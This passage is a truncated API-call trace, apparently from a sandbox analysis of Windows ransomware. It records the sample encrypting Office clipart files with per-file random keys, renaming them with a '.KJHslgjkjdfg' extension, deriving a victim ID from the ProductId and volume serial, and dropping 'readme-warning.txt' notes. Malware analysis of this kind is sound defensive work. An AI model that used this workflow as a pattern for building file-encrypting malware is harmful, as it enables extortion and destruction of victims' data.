hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0193.481] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0193.481] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0193.481] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0193.481] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0193.482] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0193.482] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.482] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.482] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b03, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b03, lpOverlapped=0x0) returned 1 [0193.491] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b10) returned 1 [0193.491] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.491] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b10, lpOverlapped=0x0) returned 1 [0193.492] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.492] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.492] SetEndOfFile (hFile=0x114) returned 1 [0193.494] GetProcessHeap () returned 0x2a0000 [0193.495] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.495] GetProcessHeap () returned 0x2a0000 [0193.495] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.495] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.kjhslgjkjdfg")) returned 1 [0193.496] CloseHandle (hObject=0x114) returned 1 [0193.496] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 0 [0193.496] GetProcessHeap () returned 0x2a0000 [0193.496] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.496] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0193.496] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f0a8 | out: pbData=0x2bf570, pdwDataLen=0x290f0a8) returned 1 [0193.496] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.497] GetProcessHeap () returned 0x2a0000 [0193.497] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0193.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0193.497] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f0a8 | out: pbData=0x2bf5b8, pdwDataLen=0x290f0a8) returned 1 [0193.497] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.497] GetProcessHeap () returned 0x2a0000 [0193.497] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2c1c28 [0193.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0193.497] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1c28, pdwDataLen=0x290f0a8 | out: pbData=0x2c1c28, pdwDataLen=0x290f0a8) returned 1 [0193.497] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.497] GetProcessHeap () returned 0x2a0000 [0193.497] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0193.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0193.497] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ec88 | out: pbData=0x2bf528, pdwDataLen=0x290ec88) returned 1 [0193.497] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.497] GetProcessHeap () returned 0x2a0000 [0193.497] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1618 [0193.497] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0193.497] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1618, pdwDataLen=0x290ec88 | out: pbData=0x2c1618, pdwDataLen=0x290ec88) returned 1 [0193.497] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.497] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ec84 | out: phkResult=0x290ec84*=0x114) returned 0x0 [0193.498] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ec90, lpcbData=0x290ec8c*=0x400 | out: lpType=0x0, lpData=0x290ec90*=0x30, lpcbData=0x290ec8c*=0x18) returned 0x0 [0193.498] RegCloseKey (hKey=0x114) returned 0x0 [0193.498] GetProcessHeap () returned 0x2a0000 [0193.499] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0193.499] GetProcessHeap () returned 0x2a0000 [0193.499] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1618 | out: hHeap=0x2a0000) returned 1 [0193.499] GetProcessHeap () returned 0x2a0000 [0193.499] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1618 [0193.499] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63a0) returned 1 [0193.499] CryptDecrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1618, pdwDataLen=0x290ea5c | out: pbData=0x2c1618, pdwDataLen=0x290ea5c) returned 1 [0193.499] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0193.499] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0193.499] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0193.499] GetProcessHeap () returned 0x2a0000 [0193.499] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1618 | out: hHeap=0x2a0000) returned 1 [0193.499] wsprintfA (in: param_1=0x290eca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0193.499] wsprintfA (in: param_1=0x290f0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0193.499] GetProcessHeap () returned 0x2a0000 [0193.499] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f32d0 [0193.499] wsprintfW (in: param_1=0x290e084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\readme-warning.txt") returned 69 [0193.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\readme-warning.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0193.501] WriteFile (in: hFile=0x114, lpBuffer=0x2f32d0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e080, lpOverlapped=0x0 | out: lpBuffer=0x2f32d0*, lpNumberOfBytesWritten=0x290e080*=0x3b3, lpOverlapped=0x0) returned 1 [0193.502] CloseHandle (hObject=0x114) returned 1 [0193.502] GetProcessHeap () returned 0x2a0000 [0193.502] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1c28 | out: hHeap=0x2a0000) returned 1 [0193.502] GetProcessHeap () returned 0x2a0000 [0193.502] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0193.502] GetProcessHeap () returned 0x2a0000 [0193.502] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0193.502] GetProcessHeap () returned 0x2a0000 [0193.502] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.502] FindClose (in: hFindFile=0x2c6260 | out: hFindFile=0x2c6260) returned 1 [0193.502] GetProcessHeap () returned 0x2a0000 [0193.502] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7d48 | out: hHeap=0x2a0000) returned 1 [0193.502] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0193.503] GetProcessHeap () returned 0x2a0000 [0193.503] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x78) returned 0x2b9ae0 [0193.503] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0193.505] GetProcessHeap () returned 0x2a0000 [0193.506] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0193.506] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.506] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0193.506] GetProcessHeap () returned 0x2a0000 [0193.506] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x27a) returned 0x2c06b8 [0193.506] GetProcessHeap () returned 0x2a0000 [0193.506] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x90) returned 0x2ef2d8 [0193.506] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0193.540] GetProcessHeap () returned 0x2a0000 [0193.540] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0193.540] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0193.541] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0193.541] GetProcessHeap () returned 0x2a0000 [0193.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x292) returned 0x2fb738 [0193.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.542] GetProcessHeap () returned 0x2a0000 [0193.542] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.542] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.542] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.542] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x9, lpOverlapped=0x0) returned 1 [0193.544] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.544] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.544] GetProcessHeap () returned 0x2a0000 [0193.544] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.544] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.544] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.544] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.544] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.544] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.544] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.545] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.545] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.545] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.545] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.545] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.545] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xf77, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xf77, lpOverlapped=0x0) returned 1 [0193.545] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xf80, dwBufLen=0xf80 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xf80) returned 1 [0193.545] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.545] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xf80, lpOverlapped=0x0) returned 1 [0193.545] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.545] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.545] SetEndOfFile (hFile=0x118) returned 1 [0193.547] GetProcessHeap () returned 0x2a0000 [0193.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0193.547] GetProcessHeap () returned 0x2a0000 [0193.547] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0193.547] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143743.gif.kjhslgjkjdfg")) returned 1 [0193.549] CloseHandle (hObject=0x118) returned 1 [0193.549] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1 [0193.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143744.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\j0143744.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0193.550] GetProcessHeap () returned 0x2a0000 [0193.550] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0193.550] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0193.550] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0193.550] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0193.552] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.552] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.552] GetProcessHeap () returned 0x2a0000 [0193.552] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0193.552] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0193.552] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0193.552] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0193.552] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0193.552] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0193.552] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0193.552] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0193.553] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0193.553] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0193.553] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0193.553] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.553] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2f, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 